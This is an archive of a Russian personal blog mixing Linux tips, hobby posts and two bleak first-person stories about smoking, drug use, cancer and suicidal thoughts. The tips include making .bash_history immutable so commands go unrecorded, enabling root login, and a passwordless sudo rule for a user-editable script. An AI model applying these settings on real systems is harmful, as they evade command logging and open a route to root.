StraNger ideas

Бла, бля, бла

2011-04-04T18:09:00.000+03:00

Вы в ахуе? Я в ахуе.
Бля. В этом чертовом IT мире каждый день происходит столько событий, что и не уследишь. Таки решил посмотреть последние новости и вот, что я скажу вам - время идет. Пробежимся по заголовкам
- Анонсирована Ubuntu 11.04 beta
Ну приехали. Я хочу потестить это. Но качать лень. Да и возникают сомнения - смогу ли я теперь установить убунту не стерев при этом жесткий диск и свою коллекцию порно?? Так, постойте, куда делся гном Shell? Unity пришел к нам. Интересна реакция потребителей.
-Mozilla представляет первые данные о Firefox 5
Бла бла бла. Новый интерфейся. Поддержка соц сервисом. Ну хорошо. В последнее время стал все чаще использовать его. Опера не радует. Или руки кривые.
-Microsoft начала распространять тестовую версию Windows 8
Ну молодцы. Что сказать. По-любому вдоволь надрочимся на няшный интерфейс по подобную хрень. Но все равно интересно.

Егэ по информатике, так это вообще вещь на которую текут слюнки. Понравилось :

На месте преступления были обнаружены четыре обрывка бумаги.
Следствие установило, что на них записаны фрагменты одного IP-адреса.
Криминалисты обозначили эти фрагменты буквами А, Б, В и Г.
Восстановите IP-адрес.
В ответе укажите последовательность букв, обозначающих фрагменты, в
порядке, соответствующем IP-адрес
A-2.222
Б-.32
В-22
Г-2.22
Криминалисты блин =)

Система микроблога Вконтакте

2010-10-21T15:54:00.000+03:00

Наконец то Дуров довел до ума систему микроблога.
Очень удобно на самом деле.
Осталось только пережить флешмоб юзеров.

Немного жив

2010-10-10T08:20:00.001+03:00

Еще сырой правда.

Янажимаю пальцами на глаза - это единственное, что способно остановить боль,которая соткана из всего, с чем мне приходится сталкиваться. Боже, это никогдане закончится... Боль неостанавливается, становясь только сильнее…

Было отчетливо слышно назойливое тиканьечасов. Стрелка неустанно кружилась вокруг белого циферблата. Вечная подчиненнаясвоей шестеренки. Я вскинул руку и нажал на кнопку отключения будильника.

- Ты никогда не проснешься раньше меня.

Было 6 часов утра. Для большинства людей это безумие. Но нев моем случае.

В отношении времени я был очень беден, даже для того, что быповаляться еще пару минут.

Я изменился. Теперь каждое утро должно было начинаться по-разному.Мое сознание устало от однообразия. Сегодня я сделал ароматическую ванну спеной.

Пена похожа на жизнь. Кажется плотной и крепкой. На самомделе легкого дуновения достаточно, что бы разорвать ее.

Единственное, что яделал каждое утро одинаково – это поднимался на крышу своего дома. При мневсегда была пачка сигарет. Маленьких киллеров.

Курить я не бросилдаже после того, как у меня обнаружили злокачественную опухоль в легких. Зависимости– это единственно, что приносило мне какую то радость в жизни. В принципе ядавно ждал болезни. Интуиция не подводила.

Конечно, это имелоначало. Я много думал о том, когда же я ошибся. Когда же я выбился из общегокруга. Когда же я решил сыграть с русскую рулетку со смертью.

На самом деле я погибал с самого рождения.

Знаете, когдачеловек умирает, он проходит 5 психологических стадий: отрицание, гнев, " торг", депрессия и смирение.

Сейчас, стоя накрыше, я понимаю, что всю свою жизнь проходил эти ступеньки. Первой из них былоотрицание. Отрицание веры.

С самого рождение мневнушали любовь к Богу. Они записывали информацию в мой мозг день ото дня. Нооднажды появился вирус – здравый смысл. К 15 годам я ненавидел религию. Я былубежденным атеистом. Я был безбожником. Первая стадия пройдена.

Один балл смерти.

С годами я всесильнее понимал окружающий мир. Окружающее бесило – гнев.

Меня действительно раздражали люди, которые шли и улыбалисьжизни. Остальных людей я просто ненавидел. Я ненавидел своих сверстников. Менябесила их тупость.

Ради собственной выгоды мне приходилось мимикрировать подних. Было чудовищно противно смеяться вместе с ними над очередной идиотскойшуточкой. Многие поймут меня.

Третья стадия – торг.У меня не было веры. Как и смысла жизни. Я понял, что все, что мне осталось этополучать удовольствие от жизни. Сигареты, выпивка, легкие наркотики. Я убивалсебя и получал удовольствие. Я сдался принципу – умереть молодым. Если бы яостановился на секунду и прислушался, то услышал мы злобное хихиканье заспиной. Она побеждала.

Депрессия началасьпосле. Это было осенью. Хм. Была девушка. Потом исчезла. У меня не было причинулыбаться.

На яркую, хоть и ужасную картину жизни плеснули чернойкраской. Пару ее фраз перечеркнули жизнь. Я вдыхал сигаретный дым и не хотел сним расставаться.

Не замысловатые слова- в одиночестве становишься философом. Иногда сидя в темной комнате язадумывался над этим. Я продался дъяволу. И как не странно мне это нравилось.Конечно же, я чувствовал скорый конец. Если бы не болезнь, возможно, я бы давнолежал в теплой ванне с перерезанными венами. Я никогда не был живым.

Медленно просыпался город. Окна домов постепенно оживали.

Кто-то целует любимую жену. Кто-то играет с ребенком. Онижили. Возможно, где то в этих окнах был я.

Осень. Небо сумрачно смотрело на меня. Я так давно не виделсолнечный диск. Казалось, оно решило уйти далеко. Что бы не смотреть на меня.Как и все окружающие.

Я чувствовал, что уже гораздо ближе к небесам. И дело невысоте здания.

Город просыпался…

Прохладный душ. Станок и пена для бритья. Скептическаяоценка цвета мочи.

Сегодня я поеду на кладбище. Меня давно пытала эта мысль.Сначала казалось безумством. Но любое безумство после долго осмыслениестановится простой истиной.

Автобус почти пуст. Я все равно стоял. Брезгливость,присущая мне еще с детства не позволяла сидеть в общественном транспорте. Сквозьзапотевшие стекла я разглядел фигуры ребенка и молодого парня. Скорее всегоотец.

Я видел, как девочка держала своего папу за руку. Крепко инежно. Сейчас он был ее единственной защитой. Она любила его. Можно представить,что будет в будущем. Сколько парней у нее будет. Сколько обид и предательств ейпридется пережить. Отец всегда будет идеалом мужчины для нее.

Я хотел дочь. В моемположении это было эгоизмом. Но мечтать я мог. Никто не смеет лезть в моесознания.

Музыка текла изнаушником прямиком в мозг, успокаивая и лелея сознание. Своеобразный морфий.

Опять остановка.Нежный, но холодный голос звучал из динамиков автобуса. В салон зашел пареньлет 12. Еще один выкидыш жизни. У него не было одного глаза.

Кондуктор взял деньги за проезд, немного брезгливо косясь науродливый шрам справа лица мальчика. У него не было глаза, но на самом деле онуже сейчас видит все лучше других. Видит сущность людей. В этом парне япредставлял будущего мизантропа. Они никогда не поймут его. Они могут емузавидовать.

За окном всесмешалось в желто-серую массу. Я старался не смотреть по сторонам, хотя автобусвсе больше и больше заполнялся людьми. Наверняка среди них была какая-нибудьвредная старуха, которая сейчас косится на меня. Наверняка думает, что янаркоман. Поэтому я хотел умереть молодым. Не хочу видеть себя дряхлымстариком, который ворчит на каждого встречного.

Кладбище приближалосько мне. Через пять минут я вышел их автобуса. Остался наедине с мертвыми.

Мне было простоинтересно. Было интересно, где я окажусь в скором времени.

В ряд тянулись сотни оградок и памятников. Каждый день онипринимали новичков в свою компанию. Интересно, сколько из этих мертвецов прижизни были верующими?

Интересно, они хотели бы, что бы их отпевали в церкви? Чтобы их родственники молились за спасение их души? Еще один показательиррациональности религии.

Под ногами шуршалажелтая листва. Она тоже мертва.

Я заметил разрытую могилу. Любопытство позволило мне подойтиближе и заглянуть туда. Очевидно, родственника решили кого-то «подхоронить». Надне ямы плакал старый почерневший гроб. Скоро к нему присоединится кто-то.Возможно жена, или дочь. Я вдруг представил, что лежу под грудой земли вдеревянном ящике.

От ярого образа началась клаустрофобия. Пора было уходить. Нахваталоеще споткнуться и свалиться в могилу.… Раньше времени.

Никакой химиотерапии.Ничего такого. Я внимательно выслушал фальшиво-сочувствующий голос врача. Ипроигнорировал это.

Была идея о суициде. Но отсутствие смелости не позволялосделать это. К тому же я не мог упуститьшанс почувствовать себя живым мертвецом. Слишком многое становится ясным в этомположении.

Раздирающий кашельразбудил мое сознания. Собирался дождь. Я отправился в ближайшее кафеперекусить. Собрав последние силы, я добежал до потертого здания.

Я задыхался. Никогда не занимался спортом. Если бы мне далишанс прожить жизнь сначала не стал бы. Слишком бессмысленное это занятие.

Я сел за ближайшийстолик. Немного поморщился, глядя на грязный стол. Но альтернатива в виденадвигающиеся грозы меня не радовала.

Милая официантка приняла мой заказ – двойной кофе и булочка.

Мне всегда нравились официантки. Мне нравились их уставшиеглаза. Я всегда старался быть с ними вежливым.

Хм. Я забыл сказать про сахар.

Я осмотрел кафе. Все как обычно. Люди едят.

Парень в углу тщетно пытается развеселить скучающую девушку.Похоже первое свидание.

Напротив сидела брюнетка с лэптопом. Я сразу обратилвнимание. Ее глаза так сосредоточено смотрели на экран… Обожаю смотреть, когдаженщины думают.

Черные длинные локоны мягко падали на стол. Брови немногоподняты вверх. Губы казалось, шептали какое то заклинание. Если бы смерть имела образ, то я хотел быувидеть ее именно такой.

Наверное, не стоило так откровенно пялится. Но любопытствобрало свое.

Через несколько минут я решил подойти к ней.

На самом деле, месяцадва назад, я бы сразу попытался взять телефон у такой девушки. Все меняетсяслишком быстро.

-Привет, я не помешал?

Голос прозвучал грубее, чем обычно. К тому же к горлуподкатила очередная порция кашля. Легкие виновато хрипели.

-Привет. Нет. У меня тут небольшая проблема. Может выпоможете?

Конечно я помог.

За последнее время, это первый человек, который дружелюбно ине принужденно общается со мной. Проблема была элементарная. Пару щелчком мышии она исчезла. Возможно, в благодарность, возможно из за чистой симпатии, девушка решилаподарить мне небольшой разговор.

-Почему ты так помят? – спросила она не отводя взгляда от экранамонитора

-Плохо сплю.

Тут она подняла глаза. Я сразу ощутил маленьких бегущихмурашек на спине.

Глаза горели. В прямом смысле слова. В глубине зрачков явидел яркое пламя.
Глаза притягивали и одновременно пугали. Хотел убежать. Но притягательная силадержала меня на мягком стуле.

-Твои глаза…

-Это не важно. Ты ведь умираешь да?

-…

-Я все про тебя знаю. И все это меня огорчает. Твоя жизньпохожа сливание отходов через разноцветный канализационный тоннель. Я не критикую. Но знаю, что ты хотел умеретьеще с рождения. Ты тоже это знаешь. В какой то момент в твоей жизни появиласьдевушка. В какой то момент я даже усомнилась в тебе. Но сейчас я точно ты то,что нужно.

Что еще за «то что нужно»? В голове крутились мысли осектантах, которые возможно следили за мной. Ничего бредовей я придумать немог. И сказать тоже. Я отпил кофе.

Сладкий… Черт.

-Они насыпали туда сахар да? Но ты не любишь искусственныеподсластители. Ты готов принимать все так как есть.

-Что черт возьми происходит? Вы следили за мной? Зачем? –голос был на удивление ровным. Хотя в душе все трепетало. Хотелось вскочить ибежать. Но я не мог.

Какое то безумие. Но опухоль не в мозге.

-Рационально мышление всегда спасало тебя. Но не все можнообъяснить, коллега.

Прогремел гром.

Это «коллега» ударило мне по голове и разбудило. Не смотряназад я выскочил из кафе и быстрым шагом направился, куда то в сторону.Инстинкт самосохранение давал мне понять, что не стоит думать про эту девушку.Я яростно пытался отогнать мысли. Я думал о небе, думал об ожидаемом автобусе.Сложно обмануть себя. Подсознание не могло подобрать рационального ответа истыдилось этого.

Гроза обещала быть сильной.

Дом. Милый дом.

На улице уже вовсю сверкала молния, лил дождь. В такую погоду в квартиресоздавался определенный полумрак. В такую погоду я размышлял.

Хлопнула дверь. Я устал. Казалось, стены сочувственноподставили мне свои бетонные глыбы. Я скатился вниз. Я кончика носа капалажидкость. Я не мог понять что это. Пот или вода. Внешность не дает нам четких определений.Остается только интуиция.

Ужасный ливень, похоже, готов был устроить первый всемирныйпотоп.

Только сейчас я понял, что ужасно хочу курить. Пачкадогорала. Оставалось совсем немного. Совсем немного удовольствия.

Маленький убийца был подпален огнем. Он хотел вырваться измоих рук. Но я не мог упустить еще один приятный момент своей жизни.

Жаль, что когда мырождаемся, нам не дают инструкция – набор четкий правил, как нужно жить, что быбыть счастливым. Все бы упростилось.

Только не говорите мне о нравственности. Это всего лишьздравый смысл и логическое мышление. Ничего не происходит просто так.

Можно ли сказать, чтоя счастлив? Я не знаю определения счастья.

Но если это, то что испытывает лысый гопник, у которого отсасываетдевушка за сотку, то я лучше буду самым несчастным. Счастье относительно.

Для кого-то счастье, это сидеть весь день за компьютером иписать программу. Которую он будет распространять бесплатно. Или трепаться сдругом по аське.

Почему я не нашелего? А вы?

Ярко-красный

2010-10-07T15:24:00.005+03:00

Читать можно только под веществами

Я живу благодаря своей

потребности к самопринуждению.

Когда ты просыпаешься, мозг яростно пытается склеить заново оковы сна,что бы вернуться в тот сумасшедший мир, который обитает у тебя в голове. Когдаты просыпаешься, то с обидой понимаешь – то, что секунду назад было такимреальным, оказалось обычным бредом. Это болезнь. Она преследует тебя каждуюночь.

Совершенно невзрачный день.

Обычно по утрам я читаю гороскопы.Я не верю гороскопам, но я верю в самовнушение. Остается только надеяться, чтоу редактора на этот раз было нормальное настроение и он «предсказал» хорошийдень. Сознание легко обмануть.

Ничего особенного. Все как всегда. Чашка кофе,15 минут прослушивания Нирваны и я уже на улице. Это день был решающим и я досих пор не знаю, что будет дальше.

* * *

Погрузившись в мысли, я опять не заметил, как умерла моя сигарета. Ещеодна. Я убивал себя. И мне это нравилось. Наверное, если бы в моих легкихобнаружили опухоль я бы даже не расстроился. Я слишком все понимал, что бы хотетьжить.

Я ненавидел людей. Ненависть сжигала меня изнутри будто в венах текла некровь, а взрывоопасное вещество. Меня раздражал каждый, кто смотрел мне вглаза. Каждый, кто улыбался и радовался жизни. Идиоты. Как и я.

Осень сковывала руки невидимыми нитями, оставляя на коже тонкие красныеполоски.

Все холоднее и холоднее. Будущее застилало белое полотно зимы. В воздухестоял запах гнилой листвы и автомобильных газов. Такой запах по утрам. Запахсчастья.

Дороги, люди, школа – все проскакивало перед глазами. Казалось, кто-топросматривает унылое слайд шоу, где на каждом снимке появлялось мое сердитое игрустное лицо.

Все началось со встречи. Уже тогда я почувствовал ту давящую боль вголове. Тогда я не знал, что ближайшие две недели эта боль будет сводить меня сума, постепенно высасывая остатки воли к жизни.

Ничего не решено. Судьбы нет. Это было бы слишком просто. Нет Бога.Религия – бред.

Хотя я бы хотел, что бы он был.Можно было бы обеспечить себе уютное местечко в раю, соблюдая всего лишь коекакие правила тут. Красивая сказка. Людям надо верить во что-то. Они не могутполностью положиться на свои силы. Они слишком слабы для этого.

Если есть Бог, то он насненавидит. Если есть Бог, то я буду гореть в аду. Маркс говорил, что религия - опиумдля народа.

Кажется, я нашел еще одиннаркотик.

Все началось со встречи. Я не хотел ее в сексуальном плане. Что по своейсути довольно странно. Мне хотелось быть с ней. Волосы. Длинные безумныеволосы. Они казались бесконечными. Эти волосы достойны восхищения.

Немного эгоистичный взгляд. Он пронзалнасквозь. Самая ужасная пытка – попасть под этот взгляд. Все внутри сжимается иты понимаешь, что надежды больше нет. Она кажется нереальной. Она миф, вкоторый я был вынужден поверить.

Я думал, будет дружба. Ошибка. Опять. Я понял это, когда прочитал еесообщение. Она приглашала меня погулять. До сих пор помню то тройное сальто,которое сделал мой желудок. И ту давящую боль в голове. Она нарастала.

Мой взгляд был устремлен вперед. Кроме туманая ничего не видел. Я устало ждал ее шагов. Обычно свидания с девушкамисводились к тупым шуткам, смеху, возможно алкоголю. Обычно уже при встрече тыпускаешь комплимент с зацепкой. Несколько глупых шуток и она уже смотрит тебе врот.

В голове крутились мысли по этому поводу, но когда она пришла всеизменилось. Я понял, что все будет НЕ так. Иногда висло неловкое молчание. Втакие моменты я был готов убить, ради того, что бы найти приятную для нее темуразговора. Было страшно повернуть голову направо и посмотреть на нее. Людибоятся неизвестности. Она была неизвестностью.

Пожалуй, эта прогулка была полнометражным фильмом, среди глупых комиксовмоей жизни. Ужасная боль раздавливала голову. Я понимал, что полностьюподвластен ей. Она была моим Богом.

Все закончилось быстро. Минутное прощание. Я опять один. Ночь сдавливалалегкие. Было трудно дышать. Темнота с радостью приняла меня за своего.

Наследующее утро я как будто со стороны наблюдал за идиотом, которому вкололи «вирусжизни». Он был счастлив. Он улыбался. Он любил людей. Он любил жизнь.

Счастье тоже можно сравнить снаркотиком. Недолгое удовольствие. Жуткая депрессия в последствии.

Так и случилось. Приветствие сквозь зубы. Тот пронзающий взгляд. Дажечерез рубашку и пиджак я почувствовал холодок, который исходил от нее. Помню тоощущение в груди. Как будто бы вынули жизненно важный орган. Темный коридор. Вголове листопад мыслей. И все.

Я спал. Изучал глубину своего сознания. Искалответы. Жуткое гудение телефона на столе разбудила меня. Пришла SMS. Сердце замерло, еще до того, как мозг осознал от когоона. Это было приглашение погулять. Нет. На самом деле, это была амнистия длябезнадежного смертника.

То, что я чувствовал не прогулке, можносравнить только с брызгами ярко красных капель на белую стену.

Она такой культ феромона, что вселяет страх. Всё, что мненужно для осуществления мечты, это ещё одно оправдание. Казалось, онапереселилась в мое тело. Испытала мои страдания и мою боль. Она насквозьпропитала и обволокла меня собой. Она такая слабая. Так хочется обнять ее. Онаединственная, кто заставляет меня грустить.

Даже не знаю, из-за чего я к ней тянусь. Неподвижная и сумасшедшая – тляпривлекает.

Я физически чувствую, как ускоряется сердцебиение при виде ее. Оназаменяет эпинефрин для меня.

Этот наркотик струится по моим венам. Вирусжизни. Моя жизнь под ее контролем. Она в любой момент может открыть замок ивыпустить наружу то ужасное существо, которое живет во мне.

Ничего не решено. Она даже не представляет, что сейчас с завязаннымиглазами ведет машину МОЕЙ жизни.

Меня мучила жуткая жажда, стакан с водой стоял передо мной. Но я былприкован цепями и не мог пошевелиться. Так не может продолжаться вечно. Людямнужна определенность. Люди ущербны.

Наглая боль в голове все усиливалась. Действиеярко-красного наркотика заканчивалось. Я ничего не мог поделать. Она пыталаменя, сама того не осознавая. Каждый ее взгляд врезался иглой мне в кожу.Каждой клеткой я ощущал ее.

Возможно, исход многих воин был бы иным, если бывласти использовали это ярко красное оружие – вирус жизни…

* * *

Будет ли этот день решающим? Я незнаю. Если бы я смог унять холод в ее голосе и боль в голове возможно туманрассеялся бы. Но во мне не было сил расставить все точки. Оставалось только доверятьгороскопу и набираться терпения.

Дорога как всегда шла рядом с этойсерой коробкой. Поразительно, но за такой короткий срок она уже осталась в моейголове. Окна немного виновато, с сочувствием смотрели на меня. Они ничего немогли сделать. Это не по правилам.

Мои расширенные зрачки впились в подъезднуюдверь. Они жаждали увидеть замшу. Ничего не произошло. Я просто прошел мимо.

По темным коридорам медленно текла человеческая биомасса. Это напоминалоканализационные туннели. Помещение было темным. Отчасти, из за занавешенныхокон, отчасти из за двух недельного отсутствия солнца. Все вокруг казалоськаменным. Виной тому была жуткая боль в мозгу.

Конечно я почувствовал, когда она зашла. Не могло быть иначе.

Острый взгляд сразу был брошен на меня. Сердце сдавило…..

Ужасный конец. Ничего более.Действие наркотика прошло. Ненависть возрастала. Я ненавидел их всех. Моизрачки сдавило жуткое чувство обиды и ненависти.

Я должен был знать, что так случится.Наркоманы идиоты. Их почти всегда предупреждали. В душе, что-то слегкапокалывало.

Тошнило. Ужасно тошнило. Я знал, что это еевина. Нужно было решать, как умирать.

Долго и мучительно всю жизнь. Илибыстро. Конечно, я был слишком слаб для быстрой смерти. Я прятал мысли сам отсебя. Хотелось курить. Моей воли хватило на то что бы мыслить рационально.Разложить все по полочкам…. Сердцебилось все медленнее.

Бог?? Не смейте мне говорить о Боге.Этот мифический персонаж ненавидит нас всем сердцем. Молиться ему кощунство.Сознание нежно ускользало от меня. Всё эти последствия. Последствия яркокрасного наркотика.

2010

История команд bash

2010-08-29T10:09:00.000+03:00

В общем то полезная вещь при поиске неисправностей или уязвимостей системы - перечень команд bash.
Находиться в HOME/.bash_history

Так же бывает нужно что бы этот файл оставался неизменяемым. Т.е. что бы команды выполненные в bash туда не попадали. В этом случае можно просто сменить права файла:

chmod 400 .bash_history

Или еще лучше добавить к этому бит постоянства:

chattr +i .bash_history

i значит неизменяемый

Книга Линуса Торвальдса

2010-08-19T17:11:00.001+03:00

Под волной фильма прошлого поста решил почитать книгу Линуса Торвальдса -"Just for fun"
Она оказалась весьма занимательной. Автор начинает описание с самого детства- первый компьютер, первая программка, а впоследствии и процесс создания Linux.Последний пункт самый интересный, так как Линус описывает создание системы ссамого нуля.
Кроме того, многих заинтересуют рассуждения автора на счет будущего ИТ.
Кстати, в последней главе Линус выразил свою точку зрения по поводу эволюциии смысла жизни (!)
В общем, книга будет интересна всем пользователем ОС Linux.

PS Хочу еще прочитать нигу Б. Гейтса "Дорога в будущее". Так сказать взгляд с двух сторон.

"Революционная ОС" док. фильм

2010-08-18T11:39:00.001+03:00

Посмотрел документальный фильм "Революционная ОС".
Фильм о GNU, о свободном ПО, о создании Linux... Ну и так далее.
Довольно интересный. Простым языком объяснены основноые концепции и проблемы GNU. Практически весь фильм состоит из интервью с людьми имеющими какое то отношение к Open Source - Ричард Столлман, Линус Торвардс, Эрик Рэймонд и другие.

Устаревание паролей в Linux

2010-08-16T07:52:00.002+03:00

Если вы хотите что бы ваша система была в безопасности, нужно через какой то период времени менять пароли пользователей.
Для слежения за этим в Liunx существует программа chage.
Она позволяет указывать в какой день тому или иному пользователю нужно изменить пароль. Так же можно указать минимальное и максимальное кол-во дней до смены пассворда.
Что бы посмотреть конфигурацию конкретного пользователя нужно ввести:

[11@11 ~]$ chage -l stranger

Используя ключ -d можно указать конкретный день смены данных.
А ключи -m -M указывает минимально и соответственно максимальное кол-во дней до смены.
К примеру:

[11@11 ~]$ chage -m 10 -M 30 stranger

В этому случае пользователю нельзя менять пасс в течении 10 дней, а нужно изменить в течении 30 дней.
Вообще функциональ этим не ограничевается. Для большей информации введите man chage

Внимание стилю

2010-08-14T11:50:00.000+03:00

В последнее время стал уделять больше внимания стилю и вообще внешнему виду.
Как раньше было - футболка, джинсы, кроссовки. Сейчас стараюсь так не одеваться.
Между прочим можно купить хорошие вещи при этом не потратив кучу денег.
К разговору о стиле советую книжку "Имидж и стиль" Авторы Хендерсон, Хеншоу.

DDR2

2010-08-14T11:38:00.000+03:00

Сцуко. Купил DDR2 на 1 гб. А планка битая оказалась. Пришлось ездить менять. Надо было сразу в магазине проверять. (

mafia 2

2010-08-10T10:17:00.002+03:00

Сегодня должны выложить демку мафии 2. Очень жду эту игрульку.
Правда не уверен, что моя тачка ее потянет. Наверное придется провести апгрейт.
Вообще думаю будет что то стоящее.

Протестил. ЗАебись. Думаю релиз переплюнет GTA 4
Поеду сейчас за железом.
Релиз вроде будет 27 августа.

Дэвид Линч

2010-06-27T18:40:00.000+03:00

Недавно открыл для себя кинематограф совсем с другой стороны.
Собственно привлекло меня творчество Девида Линча.
Сначала я посмотрел фильм "малхолланд драйв". Ничего не понял. Нопосле прочтения подсказок режжисера все встало на свои места. И фильм мнепоказался действительно интересным. Именно потому, что многое нужно додуматьсамому. Вчера посмотрел его же фильм "Голова-ластик".
После первого просмотра кажется, что это бред сумасшедшего. Никакойлогической связи.
Посмотрев второй раз кое что прояснилось. Опять же нужно многое додумывать.
Суть в том, что после просмотра этих двух фильмов я полностью изменил своемнение о кино.
Фильмы вроде "Аватар" или "2012" показались такойфигней,полностью лишенной смысла.

Yogen Vocal Remover

2010-06-17T18:28:00.001+03:00

Понадобилось удалить вокал из одной песню. Yogen Vocal Remover вполне справляется с этим. Хотя все таки искажение звука есть. Да и голос удается убрать не всегда.
Имеет предельно простой интерфейс. Пользоваться можно в принципе. ))

Это было давно...

2010-06-07T14:59:00.002+03:00

=) Сейчас рылся на диске и нашел адресок одного сайтика
http://softmanual.narod.ru/
Сначала даже не понял что это, а потом вспомнил. Наверное года два назад я делал его с одним моим знакомым из Украины. Правда тогда я знал только основы HTML и немного delphi. Сайт конечно смешной, но меня прям настольгия пробила. Ведь тогда я еще не был зарегестрирован на hackzona.ru. Думал, что его уже давно снесли. А нет. Стоит.
;)
Ха! Там моя первая аватарка))

Пил с пингвином

2010-06-05T11:46:00.000+03:00

Хаха)) Классная песенка
http://hacksongs.ru/node/405
Кстати, есть много интересных. =D

Google отказывается от Windows из-за безопасности

2010-06-04T07:28:00.002+03:00

Наверное все уже читали эту новость. Вообще зная политику google(свобода, равенство, kill microsoft =), etc) я бы и предполагать не стал, что они вообщеиспользуют Windows. Но это не самое интересное, в принципе. Более занимательнаяпричина отказа - "по причине недостаточной безопасности этой операционнойсистемы.".
Собственно мне казалось, что уже никто не говорит о том, что «linux безопаснееwindows» например. Прошли те времена. У того же Linux открытый код. Имногие считают это как раз таки небезопасным. В общем, суть в том, что причинабезопасности, причина наигранная, ИМХО.
Алсо :

«Многие наблюдатели видят в решении Google не столько заботуо безопасности, сколько PR-акцию в преддверии выхода ОС Chrome, который намеченна конец года.»

Вот ответмелкомягких на отказ Google

Интересный материал

2010-06-02T19:13:00.001+03:00

Решил сегодня почитать что нибудь по Perl, что бы мозги совсем не ссохлись.
Порылся на винте, нашел какую то книжку начала читать.
Книжка очень понравилась, похоже раньше ее не читал. (Возможно забыл конечно)
Название - Perl, изучаем глубже. Ну оно говорит само за себя. Имея начальные умения по perl, можно читать ее с удовольствием.

ps Led Zeppelin - Good time bad time - очень приятная
Я пошел читать дальше.

Плохая статистика

2010-05-28T20:48:00.002+03:00

Похоже 2010 год начался не очень удачно для рок музыкантов.
16 мая умер Ронни Дио - участник таких групп, как Black Sabbath, Dio
26 мая умер Пол Грей - бассист группы Slipknot.
Дио я как то не слушал. Хотя некоторые композиции довольно интересны.
А вот слипнот... Люблю эту группу. Надеюсь после смерти их участника они не развалятся.
Ну и конечно же RIP....

Интернет в военных учереждениях

2010-05-28T20:34:00.000+03:00

Как мы все знает господин Медведев продвигает тему Интернета в России. Таквот. Недавно видел в новостях, как он обсуждал возможности введение Интернета вВоенные учреждения.
Вроде хорошо. Вроде и плохо. Если раньше все было на бумажках и хранилось всейфе. То теперь все будет лежать на сервере. Но это довольно таки небезопасно.Достаточно вспомнить несколько инцидентов в штатах., связанных со взломом военных серверов.
С другой стороны - это ведь прогресс. Новые технологии и все такое. Апрогресса без жертв не бывает.
Вообще мне импонирует политика Медведева по поводу IT. Видно, что онпонимает, что за этим будущее.

Переезд

2010-05-24T17:57:00.001+03:00

Нет я не про переезд площадки блога =)
Я про переезд физический. Наконец то решились вопросы с квартировой. Так что довольно скоро уже съебусь в другой город. На самом деле немного обидно. Там я никого не знаю даже. Придется заново знакомиться. А с моей "общительностью" это будет довольно сложно.

Синхронизация терминала с документом в Kate.

2010-05-10T16:25:00.001+03:00

Почему то никогда не пользовался такой полезной штукой, как синхронизация терминала с документом. В Kate.
Ведь это действительно удобно.
Т.е. например пишу я программу. Для компиляции открываю окно терминала и ввожу команду сборки. А если в Kate выбрать Сервис->Синхронизировать терминал с текущим документов, то консоль появится в том же окне снизу.
Таким образом можно компилировать код, не отрываясь от него.

И. Скляров Изучаем Assembler за 7 дней

2010-04-21T15:28:00.002+03:00

Смотрел сейчас блог Склярова и заметил эту книжку. Оказывается он уже как месяц ее выпустил. Причем в электронном варианте.
Все его прошлые книги очень понравились. Даже покупал в бумажном варианте.
В принципе, интересно будет почитать эту. Хотя не люблю все эти методики изучения в кротчайшие сроки. По моему без долгой работы толку не будет.

20 04 10

2010-04-20T16:45:00.001+03:00

Сморел щаз чейто блог. А там про лето написано. Мол оно кончается. И так грустно стало. Ебаное лето... так далеко. Собсно.
Ой епт. Меня на эти ваши квесты пробило. Начал реализовывать на си подобную хуету.
Ах да. В kopete перестал коннектить ICQ (c чего бы..). Сижу на жаббере.
К тому же хочу написать небольшую заметку об Arch, в пользу дистра.
Такие дела...

LAMPP

2010-03-28T08:49:00.000+03:00

Недвано попробовал такую вещь как LAMPP.
LAMPP это аналог denwer.

Полный пакет содержит:
* Web-сервер Apache с поддержкой SSL
* СУБД MySQL
* PHP * Perl
* FTP-сервер FileZilla
* POP3/SMTP сервер
* утилиту phpMyAdmin.

Так вот. Качаем.
Выполняем:

sudo tar xvfz xampp-linux-*.tar.gz -C /opt

sudo /opt/lampp/lampp {start,stop,restart}

И фактически все.

Очень удобно если нужно быстро развернуть локальный сервер.

Новая прическа

2010-03-12T14:43:00.000+03:00

Был вчера у парикмахера. Решил сменить имидж. Раньше носил длинные впринципе волосы с челкой. Сейчас заметно укоротил, поднял челку вверх. Гг. Мну никто не узнает.

massive attack teardrop

2010-02-22T19:40:00.000+03:00

Красивая песня.
Если не ошибаюсь была основным саундтреком у сериала Dr.House

Меняю дистры как перчатки.

2010-02-22T19:22:00.001+03:00

Хотя нет. Перчатки меняю реже.
В общем под влиянием речей SpxnezzaR'a решил попробовать arch.
Слил базовый образ. Установку производитл по сети.
В итоге без каких либо проблем система была установлена.
Хм. Странно. Мне как то рассказывали, что установка арчи это неимоверный трах. Как оказалось врали.
Далее прикрутил кеды.
Освоил удобство pacman и yaourt.
Итак, вроде все работает. Удобно и производительно. По карайней мере пока.
Блин. Надеюсь останусь жить на нем. А то моя мания к смене дистрибутивов уже похожа на зависимость.
Скрины из kde:

mp3blaster

2010-02-15T13:58:00.000+03:00

Не знаю почему, но в качестве аудио плеера я использую mp3blaster.

Он обладает псевдографическим интерфейсом. Умеет работать с плейлистами, искать музыку и пр. поеб. В принципе довольно удобный и компактный. Подойдет тому, кому не нужна вся это хуета, что напичкана в современные проигрыватели.

http://mp3blaster.sourceforge.net/

ubuntu vol. 2

2010-02-14T16:36:00.001+03:00

Думаю по прошлому посту все знают, что я решил попробовать убунту.
Kubuntu мне понравилась, поэтому я слил Ubuntu.
Пока решил сидеть на ней. После установке пришлось решить несколько проблемок.
Вот каких.

Во первых, в убунту, как мы знаем, по дефолту нельзя логинится под рутом. Меня это немного не устраивало. Для решение нужно всего лишь выполнить команду

sudo passwd root

Ну и ввести новый пароль.
Впринципе можно сделать и через графику

Система-Администрирование-Пользователи и группы

и там указать пасс для рута.

Во вторых, в убунту при загрзке диски с NTFS не монтируются. Поскольку у меня на отдельном
ntfs разделе лежит вся музыка, нужно было это менять.
Впринципе можно было отредактировать /etc/fstab, но я пошел немного другим путем.
Сначала создал шелл скрипт такого содержания:

#!/bin/sh

sudo mount /dev/sda5 /media/OpenFiles

Далее добавил в авторан (В графике система-админство-запускаемые приложения) такую команду:

/usr/bin/sudo /home/stranger/scripts/mount.h

Для полной нирваны нужно было еще разрешить пользователю запускать sudo без пасса для mount.sh.
Для этого в /etc/sudoers добавляем в конец это:

stranger ALL=(ALL) NOPASSWD:/home/stranger/scripts/mount.h

Все сохраняем и перезагружаемся.

Ну и завершает эту трилогию наверное самая идиотская проблема.
